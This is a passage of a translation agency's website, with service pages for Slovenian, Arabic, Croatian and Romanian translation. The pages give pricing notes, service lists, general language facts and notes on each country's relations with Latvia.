difficult to pronounce, for example, Trst (Trieste), Črt (masculine personal name), etc. Also, the grammar is rather simple because the order in a sentence is logical and easy to understand. The best way to learn Slovenian is to be in an environment where it is the native language or the everyday spoken language. Methodical materials to learn Slovenian are not easily approachable but learning it is easier if the Russian language has been mastered. WHERE AND HOW MANY PEOPLE SPEAK SLOVENIAN? Slovenian is spoken by around 2. 5 million people around the world, mainly in Slovenia, but there are also national minorities in Italy (about 90,000), Austria (25,000), and in Istria, situated in the west of Croatia, which borders with Slovenia, as well as in Croatia’s largest cities Rijeka and Zagreb (11 800-13 100), the southwest of Hungary (3000-5000), Serbia (5000) and in the Slovenian diaspora in all of Europe and the rest of the world (about 300,000), particularly in The United States of America (especially in Ohio, where about 3400 speakers live), in Canada, Argentina, Australia and South Africa. SLOVENIAN LANGUAGE INTERPRETER AND TRANSLATOR The Skrivanek Baltic translation agency provides written translations of common documents, difficult scientific texts and notarised translations as well. We also provide proofreading and stylistic improvement of texts in Slovenian, and if need, editing and checking of terminology is performed. For business clients, we most often do these translations from/to the Slovenian language – e-commerce content and homepages, advertisement slogans, marketing materials, product labels in accordance with the requirements of EU standards. For private individuals, we most often translate personal identification documents, marriage certificates, birth certificates, education documents, passports, medical documents, etc. THE SLOVENIAN LANGUAGE IN BUSINESS The Slovenian language as a business language is not spread around the world. It is primarily used only in the territory of Slovenia. In recent years, there has been a growing tendency to establish business connections outside of Slovenia. However, English and German are used as the spoken language. SLOVENIANS IN LATVIA Slovenian students tend to stay in Latvia temporarily as part of exchange programs. The University of Latvia and Vidzeme University of Applied Sciences collaborate with Slovenia’s higher education institutions. The Latvian Academy of Sciences and Slovenian Academy of Sciences maintain contacts with each other. There is a collaboration in the field of culture regularly – several Slovenian writers have stayed in the International Writers' and Translators' House in Ventspils (Lenart Zajc, Damijan Šinigoj, Maja Gal Štromar and Gašper Malej). There have been various exhibitions of Slovenian artists, and also concerts from collaborating Slovenian and Latvian musicians. Cooperation in the field of traffic and defence is also ongoing. Slovenian soldiers have also started training in the combat units of the armed forces. It is also interesting that, with the growing challenges of small languages in the digital age, Latvian and Slovenian researchers, in the presence of the presidents of both countries, signed a nationally important agreement on cooperation in the field of language technology on 28 September 2021. Cooperation between the two countries, by exchanging experience, knowledge, technologies and participating in joint research projects, will strengthen the Latvian and Slovenian languages in the digital world. Since 28 August 2017 the Polish Embassy represents Slovenia in Latvia. SOLUTIONS THAT WE PROVIDE MOST OFTEN FROM/TO SLOVENIAN: general and specialised translation; notary-certified translation; localisation; neural machine translation; DTP – desktop publishing; text adaptation and copywriting; interpreting; language training; linguistic auditing. LANGUAGE COMBINATIONS: Latvian to Slovenian; Slovenian to Latvian; Estonian to Slovenian; Slovenian to Estonian; Lithuanian to Slovenian; Slovenian to Lithuanian; Russian to Slovenian; Slovenian to Russian; Czech to Slovenian; Slovenian to Czech; Polish to Slovenian; Slovenian to Polish; Ukrainian to Slovenian; Slovenian to Ukrainian; Slovenian to Spanish; Spanish to Slovenian; German to Slovenian; Slovenian to German; Italian to Slovenian; Slovenian to Italian; French to Slovenian; Slovenian to French; Danish to Slovenian; Slovenian to Danish; Norwegian to Slovenian; Slovenian to Norwegian; Swedish to Slovenian; Slovenian to Swedish; Finnish to Slovenian; Slovenian to Finnish; English to Slovenian; Slovenian to English and others. SOLUTIONS THAT WE PROVIDE MOST OFTEN FROM/TO SLOVENIAN: general and specialised translation; notary-certified translation; localisation; neural machine translation; DTP – desktop publishing; text adaptation and copywriting; interpreting; language training; linguistic auditing. LANGUAGE COMBINATIONS: Latvian to Slovenian; Slovenian to Latvian; Estonian to Slovenian; Slovenian to Estonian; Lithuanian to Slovenian; Slovenian to Lithuanian; Russian to Slovenian; Slovenian to Russian; Czech to Slovenian; Slovenian to Czech; Polish to Slovenian; Slovenian to Polish; Ukrainian to Slovenian; Slovenian to Ukrainian; Slovenian to Spanish; Spanish to Slovenian; German to Slovenian; Slovenian to German; Italian to Slovenian; Slovenian to Italian; French to Slovenian; Slovenian to French; Danish to Slovenian; Slovenian to Danish; Norwegian to Slovenian; Slovenian to Norwegian; Swedish to Slovenian; Slovenian to Swedish; Finnish to Slovenian; Slovenian to Finnish; English to Slovenian; Slovenian to English and others. --- > General and specialised translations in Arabic language. Arabic interpreters, individual Arabic language courses. Contact us! - Published: 2022-09-28 - Modified: 2025-07-02 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-arabu-valoda/ - Translation Priorities: Optional TRANSLATIONS IN ARABIC HOW MUCH DO ARABIC TRANSLATIONS COST? The price of an order is determined individually, as the price is made up of several important components – the deadline, the specifics of the sector, the availability of terminology, the processing, proofreading and formatting of drawings, images and graphs, as well as additional services ordered by the client (notarial confirmation, etc. ). IS THE PRICE LIST AVAILABLE? Of course, the price list for both translation and interpretation, localisation and adaptation services from and into Arabic is an integral part of our cooperation agreement with our clients. Skrivanek's translation project managers prepare detailed information on the price of a translation before the start of each translation project. The price of each order is determined individually according to Skrivanek's current price list, based on the number of words in the source text, duplication in the translation and other parameters. We look forward to receiving your translated material by email for the price. Contact Skrivanek Baltic today for a free quote on Arabic translation or any other combination of translation and related business services. Our Arabic language services include: Arabic Document Translation Arabic Simultaneous Interpretation Arabic Linguistic Validation Arabic Consecutive Interpretation Arabic Transcription Arabic Typesetting and Graphics Arabic Voiceovers and Subtitling Arabic Staffing Solutions Arabic Multicultural Marketing Arabic Document Management Arabic Deposition Services Arabic Virtual Data Room Services Arabic E-learning Support Looking for a language solution in Arabic? We will prepare a tailored solution and consult you on your subject of interest. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Client *Private personCompany Name and surname *Telephone Add Remove Name and surname *Telephone Add Remove Company name *Telephone Add Remove Company name *Telephone Add Remove Email *Target language Add Remove Email *Target language Add Remove Additional informationDocument upload, max. 20 MB, if document exceeds the limit, write it in your message and we will contact you Click or drag files to this area to upload. You can upload up to 10 files. How did you learn about us? How did you learn about us? I am a Skrivanek clientGoogle search engineFriend/acquaintance suggestionFacebookTwitterLinkedInInstagramOutdoor advertisingTrade fair/exhibitionPrinted advertisingOther By clicking the "Send" button, you consent to the processing of your personal data in accordance with Skrivanek Baltic Privacy Policy. Submit Quality and confidentiality guaranteed by ISO certificates Our project managers speak Latvian, Russian, English, German and Polish99% of customers receive a price quote in less than 15 minutesMore than 3000 language professionals and native speakersMore than 98% of our clients would recommend us to their friends and partnersMore than 60 million words are translated in our office every year INTERESTING FACTS ABOUT THE ARABIC LANGUAGE Arabic is the sacral language of Islam. Not only was the Koran composed in this language, but it is still used in most Muslim religious rituals. For more than 1300 years it was used as the lingua franca of the Muslim intellectual elite. Arabic is the largest language of the Semitic family in terms of speakers. Nowadays, the Arabic language has many dialects and sub-dialects. Traditionally, Arabic dialects have been divided in to the eastern dialect group and the western dialect group. For example, some of the most common dialects in the eastern dialect group are the Egyptian dialect, Syriac dialect, Iraqi dialect, etc. , and in the western dialect group, the North African or Maghrebi dialect, and Hassanite dialect. The Modern Arabic literary language has been unchanged since the 7th century. In this language people read and write, it’s used as a language in school, but is not spoken. Nowadays, the media uses the Arabic literary language as their main language. In day-to-day communication locals use dialects. They are so different, that people from different countries often use the Arabic literary language, which they have learned in school, to communicate with each other. And most importantly, Arab language dialects do not have a written form. In the Middle Ages, Arabic was used as the main cultural language, especially in such branches as mathematics, astronomy and philosophy. Consequently, European languages have many borrowings from Arabic. Calligraphy is still held in high esteem in the Islamic world. It’s considered one of the chief art forms. Islam fundamentals forbid depicting living beings, making caligram one of the main possible forms of artistic expression. Many discoveries by the Chinese and other nations did not become known in Europe until the Middle Ages, mainly through Arab merchants. The compass was brought from China to Europe by Arab merchants. It is known that the compass was used in the 12th century to sail across the Mediterranean Sea. Also in the 12th century, Arab and Jewish merchants who arrived from China introduced the Spanish to the art of paper making. Arabic is one of the six UN official languages. THE ARABIC ALPHABET The Arabic language is one of the most difficult languages in the world. The Arabic language is written in the Arabic alphabet, which originated from the Aramaic script. In the Arabic alphabet, like in other Semitic alphabets, writing is done from left to right. There also are several writing styles, the most popular is used by publishing houses and scripts. In the Arabic alphabet, there are 28 letters for consonants and long vowels. Depending on the location of the letter, either in the beginning, middle or end of the word, or even just on its own, it can be written in 4 different forms. All the letters are written in italics in handwriting and in print. In this way, each letter merges with the next to form words. Upper and lower case letters are not distinguished. After the Arabic script became stable in the 8th century, several witting styles emerged. Writing styles for books and other written works, as well as decorative and monumental art was developed. WHERE AND HOW MANY SPEAK ARABIC? Arabic is the second most spoken language in the world. It is the mother tongue of some 300 million people around the world who live in areas from West Asia to North Africa and from the Persian Gulf to the Atlantic Ocean. You can communicate in Arabic throughout most of North Africa and in Saudi Arabia. It is spoken by the absolute majority of the population in the United Arab Emirates, Kuwait, Qatar, Bahrain, Oman, Yemen, Jordan, Syria, Iraq, Lebanon, Egypt, Libya, Algeria, Tunisia, Morocco, Mauritania and the Palestinian territories, and by the majority of the Sudanese population; significant Arab minorities live in Israel, Iran (Khuzestan), Tanzania (Zanzibar), Turkey (Mardin), Djibouti; among European countries, France, Spain, and the UK. Arabic is the second official language in Chad, Djibouti, Somalia and the Comoro Islands. ARABIC INTERPRETER AND TRANSLATOR The Skrivanek translation agency has been active in the language service market in Latvia and the Baltics for more than 30 years. Our team of professional translators, interpreters and linguists will always help you with written translations of standard documents, notarised translations and consecutive interpreting of court hearings or important business negotiations. Skrivanek also provides proofreading and stylistic improvement of Arabic texts, editing and terminology checking where necessary. Our Arabic language experts will be happy to advise you on cultural differences, business etiquette, and the history and cultural specificities of your chosen region or country. For business clients, our most common translations from/into Arabic include technical documentation, court rulings, e-commerce content and website translation, adaptation and localisation. For individuals, we translate court rulings, identity documents, marriage certificates, birth certificates, education documents, passports, etc. ARABIC LANGUAGE IN BUSINESS Arabs have long been known around the world as successful and dedicated merchants. As early as the 8th century, Arab traders promoted international trade and the exchange of natural resources and cultural treasures between China, India and Europe. In today's business world, these skills are not lost and the Arab business world is interesting for all entrepreneurs. These are huge business opportunities and resources. In more and more companies, an Arabic-speaking employee is highly valued as it makes it much easier to work with potential business partners. Every Arab will value a foreigner who knows at least basic Arabic. ARABIC LANGUAGE IN LATVIA In recent years, there has been a growing interest in the study of the Arabic language and culture in Latvia. It has been encouraged by the political and economic processes in Latvia and globally, as well as by the wide range of travel opportunities. There is still a frequent shortage of professional Arabic speakers and translators in Latvia, translators to work with asylum seekers and foreign nationals in distress who speak only Arabic, translators in courts, and translators for business purposes, as more and more Latvian entrepreneurs are becoming interested in business opportunities in Eastern countries, offering high-quality technology solutions and innovative services in the region. Study Arabic language and culture at the University of Latvia ─ read about the study programme here. The Arab Cultural Centre is also active in Latvia, and more and more language schools offer Arabic language courses for beginners and students with prior knowledge. Studying Arabic also gives students knowledge of Arab culture, history and other fascinating information about the Arab world. SOLUTIONS THAT WE PROVIDE MOST OFTEN FROM/TO ARABIC: general and specialised translation; notary-certified translation; localisation; neural machine translation; DTP – desktop publishing; text adaptation and copywriting; interpreting; language training; linguistic auditing. LANGUAGE COMBINATIONS: Latvian to Arabic; Arabic to Latvian; Estonian to Arabic; Arabic to Estonian; Lithuanian to Arabic; Arabic to Lithuanian; Russian to Arabic; Arabic to Russian; Czech to Arabic; Arabic to Czech; Polish to Arabic; Arabic to Polish; Ukrainian to Arabic; Arabic to Ukrainian; Arabic to Spanish; Spanish to Arabic; German to Arabic; Arabic to German; Italian to Arabic; Arabic to Italian; French to Arabic; Arabic to French; Danish to Arabic; Arabic to Danish; Norwegian to Arabic; Arabic to Norwegian; Swedish to Arabic; Arabic to Swedish; Finnish to Arabic; Arabic to Finnish, English to Arabic; Arabic to English and others. SOLUTIONS THAT WE PROVIDE MOST OFTEN FROM/TO ARABIC: general and specialised translation; notary-certified translation; localisation; neural machine translation; DTP – desktop publishing; text adaptation and copywriting; interpreting; language training; linguistic auditing. LANGUAGE COMBINATIONS: Latvian to Arabic; Arabic to Latvian; Estonian to Arabic; Arabic to Estonian; Lithuanian to Arabic; Arabic to Lithuanian; Russian to Arabic; Arabic to Russian; Czech to Arabic; Arabic to Czech; Polish to Arabic; Arabic to Polish; Ukrainian to Arabic; Arabic to Ukrainian; Arabic to Spanish; Spanish to Arabic; German to Arabic; Arabic to German; Italian to Arabic; Arabic to Italian; French to Arabic; Arabic to French; Danish to Arabic; Arabic to Danish; Norwegian to Arabic; Arabic to Norwegian; Swedish to Arabic; Arabic to Swedish; Finnish to Arabic; Arabic to Finnish, English to Arabic; Arabic to English and others. --- > General and specialised translations in Croatian language. Interpreting and other Croatian language solutions. Get a free quote in 15 min! - Published: 2022-09-18 - Modified: 2025-07-02 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-horvatu-valoda/ - Translation Priorities: Optional TRANSLATIONS IN CROATIAN HOW MUCH DO TRANSLATIONS IN CROATIAN COST? Translation cost from and to Croatian is calculated for every order individually. The price calculation consists of multiple parameters specific to your order, for example, the price of consecutive and simultaneous interpreting is based on the time of providing the service, location, travel costs, and daily allowance; for simultaneous translation, technical equipment, the number of translators, and other aspects are considered. The price of written translations consists of the volume and readability of the translated material, the due date of the translation, the complexity of the terminology, repetitions in the text, processing and formatting of graphics and pictures, correction, as well as additional services chosen by the client. IS THE PRICE LIST AVAILABLE? Of course, the price list of translation and interpreting (simultaneous and consecutive), localisation, and adaptation from and to Croatian is an integral part of our contracts with clients. The Skrivanek Baltic translation agency project managers prepare detailed information each time about the cost of translation before starting a translation project. The price offer is prepared in approximately 30 minutes. The price of written translations is based on word count in the text, complexity of graphic elements, repetitions and other parameters. In order for you to receive a price offer, feel free to send us your material to be translated to our e-mail. Contact Skrivanek Baltic today for a free quote on Croatian translation or any other combination of translation and related business services. Our Croatian language services include: Croatian Document Translation Croatian Simultaneous Interpretation Croatian Linguistic Validation Croatian Consecutive Interpretation Croatian Transcription Croatian Typesetting and Graphics Croatian Voiceovers and Subtitling Croatian Staffing Solutions Croatian Multicultural Marketing Croatian Document Management Croatian Deposition Services Croatian Virtual Data Room Services Croatian E-learning Support Looking for a language solution in Croatian? We will prepare a tailored solution and consult you on your subject of interest. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Client *Private personCompany Name and surname *Telephone Add Remove Name and surname *Telephone Add Remove Company name *Telephone Add Remove Company name *Telephone Add Remove Email *Target language Add Remove Email *Target language Add Remove Additional informationDocument upload, max. 20 MB, if document exceeds the limit, write it in your message and we will contact you Click or drag files to this area to upload. You can upload up to 10 files. How did you learn about us? How did you learn about us? I am a Skrivanek clientGoogle search engineFriend/acquaintance suggestionFacebookTwitterLinkedInInstagramOutdoor advertisingTrade fair/exhibitionPrinted advertisingOther By clicking the "Send" button, you consent to the processing of your personal data in accordance with Skrivanek Baltic Privacy Policy. Submit Quality and confidentiality guaranteed by ISO certificates Our project managers speak Latvian, Russian, English, German and Polish99% of customers receive a price quote in less than 15 minutesMore than 3000 language professionals and native speakersMore than 98% of our clients would recommend us to their friends and partnersMore than 60 million words are translated in our office every year INTERESTING FACTS ABOUT THE CROATIAN LANGUAGE If your travels lead to Croatia one day, consider yourself the richest person in the world. Croatia is a beautiful land with generous people, a melodic language, wonderful folk music, courageous men, and welcoming hostesses. It is the emerald green Adriatic Sea, Pula Arena, honey from black pines, and Plitvice Lakes. Croatian is a Slavic language belonging to the South Slavic language branch of the Indo-European language family. Croatian (along with Serbian, Bosnian, and Montenegrin) is one of the central South Slavic languages. Croatian is actually quite similar to Serbian, Bosnian, and Montenegrin. Literary Croatian started developing in the 15th century, but its many regional variants and current structure formed only in the 19th century, due to an idea to have a united South Slavic language. As a result, Serbian and Croatian became quite similar and were considered the same language during most of the 20th century – the Serbo-Croatian language. Conversely, Montenegrin has a similar vocabulary to Serbian and is sometimes deemed a Serbian variant. It is hard to explain what the Bosnian language is, but it is clear that it is related to Serbian and Croatian, and resembles Montenegrin phonetically. Speakers of these four languages can understand and communicate with each other. The biggest differences between the languages are related to specific terminology in mathematics, biology, law, and culinary arts. The writing systems differ as well. Serbian and Montenegrin use both the Latin alphabet and Cyrillic, while Bosnian and Croatian use the Latin alphabet only. Croatia is divided into 3 dialect regions – Shtokavian, Chakavian, and Montenegrin. Literary works have been written in all three dialects, but the Shtokavian dialect was the basis for literary Croatian. The word encyclopaedia was first used in 1559 by a Croatian encyclopaedist and traveller, Paul Skalich, from Zagreb. His book Encyclopaedia seu orbis disciplinarum tam sacrarum quam prophanarum epistemon was one of the first books to have this word in its title. According to historical data, the book was poorly written, but it is significant nonetheless for the first use of the word In 1843, Ivan Kukuljević Sakcinski was the first person to speak Croatian in the Parliament. His speech called people to be courageous and to join the national liberation movement and demanded that Croatian be the official language in schools and workplaces. He also pointed out the negative consequences the state and society might have if Croatian was replaced with another language. The word paprika means dried and ground pepper. Even though this word is used in many languages, it has a Croatian origin and is not translated. The Croatian word for corn-cob has the biggest number of synonyms. Its synonyms are ajdamak, bat, batakljuša, bataljika, batučak, batuček, batuk, baturak, baturice, čepina, čokotinja, ćuka, kic, klas, klasina, klasinec, klasovina, klasovinje, kočanj, kocen, komaljika, komušina, kururuzina, komušina, kururuzina kuruška, oklipak, okoma, okomak, okomina, okrunica, orušek, otučak, paćika, patura, paturica, rucelj, rucl, rulina, šapurika, ščavina, šepurina, štruk, tekun, tulina, tulinek. The first Croatian grammar book was written by Bartol Kašić and published in 1604, only 18 years after the first English grammar book. The book was written in Latin. THE CROATIAN ALPHABET Written Croatian uses the Latin alphabet, even though during the early period of the Kingdom of Croatia the Glagolitic script (script created for Slavic languages) or Bosnian Cyrillic were used. For a while, all three writing systems were used simultaneously in different regions of Croatia. The Latin alphabet became the main writing system in the end. The Croatian alphabet consists of 27 letters and 3 diphthongs: Aa, Bb, Cc, Čč, Ćć, Dd, Dž dž, Đ đ, Ee, Ff, Gg, Hh, Ii, Jj, Kk, Ll, Lj lj, Mm, Nn, Nj nj, Oo, Pp, Rr, Ss, Šš, Tt, Uu, Vv, Zz, Žž. Letters q, w, x, and y are not used in Croatian. One letter marks one sound, and its spelling matches the pronunciation. HOW DIFFICULT IS CROATIAN? Croatian is placed in category 3 of hard languages. It would require 1100 learning hours to be able to converse in Croatian. Since Croatian is a Slavic language, native speakers of other Slavic languages will have an easier and quicker time learning Croatian. If you learn Croatian, studying other Slavic languages will not cause many difficulties and will provide the ability to communicate with people in Slavic countries. Croatian grammar is quite complex, which is characteristic of all Slavic languages. It has two numbers (singular and plural), seven cases (nominative, genitive, dative, accusative, vocative, locative, and instrumental), and three genders (feminine, masculine, and neuter). Therefore, theoretically, all nouns have 42 forms. Verbs have seven tenses, two numbers, and three persons (singular: you, me, she, he, it, and plural: we, you, they). Verbs also have two aspects ─ perfective and imperfective, and the aspect of each verb must be learned since the conjugation depends on it, for example, skočiti ‘to jump’ and skakati ‘to be jumping’. CROATIAN INTERPRETER AND TRANSLATOR Croatian translators and interpreters at Skrivanek Baltic provide standard written document translations, complex technical translations, and notarised translations. The Skrivanek Baltic translation agency also provides SEO content creation, proofreading, and stylistic improvement of texts in Croatian. Our linguists will gladly offer information about cultural differences, business etiquette, history, and traditions. We most often do the following translations from and to Croatian for business clients – website and e-commerce content, adaptation of advertising slogans, cooperation agreements, and business documentation. We also do sequential translation in business or other types of conversations as well as conferences on Zoom and other online platforms. For private individuals, we do translations of personal identification documents, marriage certificates, birth certificates, education documents, passports, medical documents, etc. WHERE AND HOW MANY PEOPLE SPEAK CROATIAN? There are approximately 5. 7 million Croatian speakers around the world, most of them living in Croatia. It is the official language in Bosnia and Herzegovina and Serbia’s region of Vojvodina, as well as one of the official languages in the European Union. It is a minority language in Montenegro, Hungary, Austria, Italy, and Romania. Croatian diasporas live in multiple countries around the world including Germany, Sweden, France, Argentina, USA, Canada, Australia, and New Zealand. THE CROATIAN LANGUAGE IN BUSINESS Most Croatian entrepreneurs and CEOs speak multiple languages. The main languages used in business are Croatian, English, German, and Italian (mostly used in Istria’s coastal regions). Nowadays most young entrepreneurs speak fluent English, but it is recommended that foreign business partners ask if an interpreter is needed before a business meeting to avoid awkward situations. It is also advised to learn a few polite phrases in Croatian to have a respectful business meeting and for your Croatian business partner to sense your interest in his/her culture and country. Attitude and personal values are important when developing business relations between two cultures or countries. Croatians are known to have a straightforward attitude, even though they still maintain a high level of professionalism. Croatians are friendly and lively, but they need a few meetings to get to know you to be more comfortable. Croatian knowledge is useful if you wish to develop or start your business in one of the former Yugoslavian countries. CROATIA AND LATVIA Relations between Latvia and Croatia are quite friendly. Both counties have an active political dialogue; parliaments have established successful cooperation. Both countries also have signed an extended number of treaties. One of the main priorities is the development of economic trade relations which have noticeable potential. Cooperation in culture has been quite significant. Every year writers from Croatia arrive at the International Writers and Translators' House in Ventspils. Croatian writers such as Petar Coric, Zoran Pilic, Josip Novakovich, Una Vizek, Zeljka Cernok, Una Vizek, and Ivan Zrinusic have resided at the house since 2015. The Latvian Writers' Union has established cooperation with the Festival of the European Short Story that takes place in Zagreb. Aivars Leimanis, artistic director of the Latvian National Ballet Company, staged the ballet Korsārs by Ādolfs Adāns at the Croatian National Theatre in Split in 2018. The Latvian Academy of Culture has active cooperation with Croatia within the framework of the Erasmus+ exchange program. Two agreements have been signed with the Josip Juraj Strossmayer University in Osijek and the Academy of Dramatic Art at the University of Zagreb. SOLUTIONS THAT WE PROVIDE MOST OFTEN FROM/TO CROATIAN: general and specialised translation; notary-certified translation; localisation; neural machine translation; DTP – desktop publishing; text adaptation and copywriting; interpreting; language training; linguistic auditing. LANGUAGE COMBINATIONS: Latvian to Croatian; Croatian to Latvian; Estonian to Croatian; Croatian to Estonian; Lithuanian to Croatian; Croatian to Lithuanian; English to Croatian; Croatian to Latvian; Russian to Croatian; Croatian to Russian; Czech to Croatian; Croatian to Czech; Polish to Croatian; Croatian to Polish; Ukrainian to Croatian; Croatian to Ukrainian; Croatian to Spanish; Spanish to Croatian; German to Croatian; Croatian to German; Italian to Croatian; Croatian to Italian; French to Croatian; Croatian to French; Danish to Croatian; Croatian to Danish; Norwegian to Croatian; Croatian to Norwegian; Swedish to Croatian; Croatian to Swedish; Finnish to Croatian; Croatian to Finnish and others. SOLUTIONS THAT WE PROVIDE MOST OFTEN FROM/TO CROATIAN: general and specialised translation; notary-certified translation; localisation; neural machine translation; DTP – desktop publishing; text adaptation and copywriting; interpreting; language training; linguistic auditing. LANGUAGE COMBINATIONS: Latvian to Croatian; Croatian to Latvian; Estonian to Croatian; Croatian to Estonian; Lithuanian to Croatian; Croatian to Lithuanian; English to Croatian; Croatian to Latvian; Russian to Croatian; Croatian to Russian; Czech to Croatian; Croatian to Czech; Polish to Croatian; Croatian to Polish; Ukrainian to Croatian; Croatian to Ukrainian; Croatian to Spanish; Spanish to Croatian; German to Croatian; Croatian to German; Italian to Croatian; Croatian to Italian; French to Croatian; Croatian to French; Danish to Croatian; Croatian to Danish; Norwegian to Croatian; Croatian to Norwegian; Swedish to Croatian; Croatian to Swedish; Finnish to Croatian; Croatian to Finnish and others. --- > General and specialised translations, interpreting, localisation and other Romanian language solutions. Get a free quote! - Published: 2022-09-18 - Modified: 2025-07-02 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-rumanu-valoda/ - Translation Priorities: Optional ROMANIAN TRANSLATIONS HOW MUCH DO ROMANIAN TRANSLATIONS COST? The price of translation to and from Romanian in the Skrivanek translation office is set for every order individually. The price depends on the volume of the material, the deadlines, the specifics of the text content, the repetitions in text, graphic processing, text formatting, correction as well as additional services requested by the client. IS THE PRICE LIST AVAILABLE? Yes, the price list of written translation, as well as interpretation, localisation, and adaptation services to and from Romanian is an integral part of our cooperation agreement with our clients. Professional project managers work at our office and always provide detailed information on the price of the translation prior to starting a translation project. The price of every order is set in accordance with the current Skrivanek price list, taking into account the number words in the original text, the repetitions in the text, and other parameters. To find out the exact price, contact us or send us the translation material. Contact Skrivanek Baltic today for a free quote on Romanian translation or any other combination of translation and related business services. Our Romanian language services include: Romanian Document Translation Romanian Simultaneous Interpretation Romanian Linguistic Validation Romanian Consecutive Interpretation Romanian Transcription Romanian Typesetting and Graphics Romanian Voiceovers and Subtitling Romanian Staffing Solutions Romanian Multicultural Marketing Romanian Document Management Romanian Deposition Services Romanian Virtual Data Room Services Romanian E-learning Support Looking for a language solution in Romanian? We will prepare a tailored solution and consult you on your subject of interest. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Client *Private personCompany Name and surname *Telephone Add Remove Name and surname *Telephone Add Remove Company name *Telephone Add Remove Company name *Telephone Add Remove Email *Target language Add Remove Email *Target language Add Remove Additional informationDocument upload, max. 20 MB, if document exceeds the limit, write it in your message and we will contact you Click or drag files to this area to upload. You can upload up to 10 files. How did you learn about us? How did you learn about us? I am a Skrivanek clientGoogle search engineFriend/acquaintance suggestionFacebookTwitterLinkedInInstagramOutdoor advertisingTrade fair/exhibitionPrinted advertisingOther By clicking the "Send" button, you consent to the processing of your personal data in accordance with Skrivanek Baltic Privacy Policy. Submit Quality and confidentiality guaranteed by ISO certificates Our project managers speak Latvian, Russian, English, German and Polish99% of customers receive a price quote in less than 15 minutesMore than 3000 language professionals and native speakersMore than 98% of our clients would recommend us to their friends and partnersMore than 60 million words are translated in our office every year INTERESTING FACTS ABOUT ROMANIAN Romanian in an Indo-European language that belongs to the Balkan Romance languages of the Romance language subgroup. Romanian is the fifth most widespread Romance language after Spanish, Portuguese, French and Italian. Due to the typological differences found in comparative linguistics, Romanian is also considered a Daco-Romance language. It has the official language status in Romania (where it is the native and main spoken language of most of the citizens) and the Republic of Moldova (conforming to the Constitutional Court rulings). At the same time, Romanian is the most peculiar language in the Romance language group as it reveals the so-called mixed (contact) language characteristics that developed under several fields of linguistics, especially the Balkan field. During the Roman Empire times the current territories of Moldova and Romania had been called Dacia Romana. For over 3 decades Dacians and Romans lived in close proximity, thus influencing one another. During this period the locals also underwent romanisation and it was completely natural that this resulted in Romanian developing on the basis of Roman, but not without the influence of the Slavic languages. Romanian developed at a time when Latin was widely spoken. Written records of Romanian were first made in the beginning of the 16th century. The oldest preserved document in Romanian is Neacșu's letter (1521) written in Cyrillic. Cyrillic was used until the approval of the official Romanian Latin orthography in 1860. Contemporary linguists have reached the conclusion that Romanian and Moldovan are practically identical. Romanian only has a few more loanwords from western countries, while the main loanwords in Moldovan are from Russian. Romance language variants are different mainly in phonetic terms. Romanians call them dialects or speech qualities. THE ROMANIAN ALPHABET The Romance Latin alphabet in Romania has been officially used since 1860, when it replaced the Wallachia-Moldovan Cyrillic. The contemporary alphabet consists of 31 letters that are used to mark 46 phonemes (7 vowels, 4 half-vowels, and 35 consonants). The first Romanian grammar book was published in Vienna in 1780. After transitioning to the Latin alphabet, spelling reforms have been made in 1904, 1953, and 1993, and minor smaller reforms made in 1964 and 2005. HOW COMPLEX IS ROMANIAN? Romanian is considered to be one of the easiest languages to learn. It is similar to Spanish, Italian, and even English. Even though it has some strange grammatical features that cannot be found in any other Latin languages, it is usually easier to learn than Russian, Chinese or Arabic. The Internet has a lot of resources for Romanian language learners. Unfortunately, these resources are not fully complete, but the situation is slowly improving. Romanian is quite sonorous, easy to read and speak. All words are pronounced as they are written. WHERE AND HOW MANY SPEAK ROMANIAN? Romanian is the native language of around 24 million people. In Moldova this language is officially called Moldovan. Romanian is the state language in Romania and Moldova and is one of the official languages of the European Union. Romanian is primarily spoken in Romania, Moldova, Hungary, Serbia, and Ukraine. Speakers of Romanian also live in France, Italy, Spain, the United Kingdom, Austria, Belgium, Portugal, Cyprus, Canada (notably in Montreal), Northern USA (especially Chicago), Germany, Israel, Australia, and New Zealand, where Romanian communities have settled due to political reasons when Romanians emigrated from Bucharest before the Second World War. After the fall of the regime of Ceausescu, a new wave of emigration began – people from rural areas moved to Italy, Spain, Portugal, Quebec, and Argentina, especially after Romania joined the European Union in 2007. The number of Romanian speakers peaked around 1990. Since then, the number has decreased in correlation to the natural decrease of Romanians and Moldovans, their emigration abroad and the partial acculturation of people living outside of Romania and Moldova. Currently there are around 19 million Romanian speakers in Romania (75% of total speakers) and around 2. 6 million speakers in Moldova. According to the 2002 census, Romanian is the native language of 90% of Romania’s population. INTERPRETERS AND TRANSLATORS OF ROMANIAN Our team of interpreters and translators of Romanian work with written standard document translation as well as notarised translations. The Skrivanek translation office also ensures editing and stylistic correction of Romanian texts, as well as editing and terminology checks if required. Our Romanian language specialists can provide you with information on cultural differences, business etiquette, history, and traditions. The Skrivanek translation office offers translation of e-commerce and websites, advertisement slogans, marketing, and legal text to and from Romanian. Due to the developing economic relations between Latvia and Romania, we also offer translations in the fields of equipment and technology, finance, medicine, communication, public relations, transport, computers and software, science, agriculture, vehicles, European Union documents, industry, natural sciences, retail, and technology. For natural persons we offer identity document, marriage certificate, birth certificate, education document, passport, medical document, and other type of document translation. ROMANIAN IN BUSINESS Romanian as a business language is primarily used only in Romania and Moldova. Knowing a few phrases in Romanian would prove to be beneficial in establishing business relations with Romanian businessmen. Romanian businessmen usually use Italian, German, and English to establish business relations. The main partners are countries in the EU, to which Romania exports car parts and cereal products. Latvia imports mainly food industry products (41. 90%), cars and mechanisms, electrical equipment (29. 53%), chemical industry and its related production (9. 84%) from Romania. BILATERAL COOPERATION BETWEEN ROMANIA AND LATVIA On 5 July 2022, the Romanian Honorary Consulate was opened in Riga, which is headed by Ileana Adriana Rutman, the Romanian Honorary Consul in Latvia. The goal of the Consulate is to strengthen the political, economic, and cultural relations between Romania and Latvia, to help Romanian citizens in Latvia, as well as inform Latvian citizens that want to get to know, visit, or start a business in Romania. The Art Academy of Latvia is cooperating with two Romanian universities, Babeș-Bolyai University in Cluj-Napoca and Bucharest National University of Arts within the Erasmus+ Lifelong Learning Programme. The Latvian Academy of Culture cooperates with Romania within the Erasmus+ programme. The Academy has 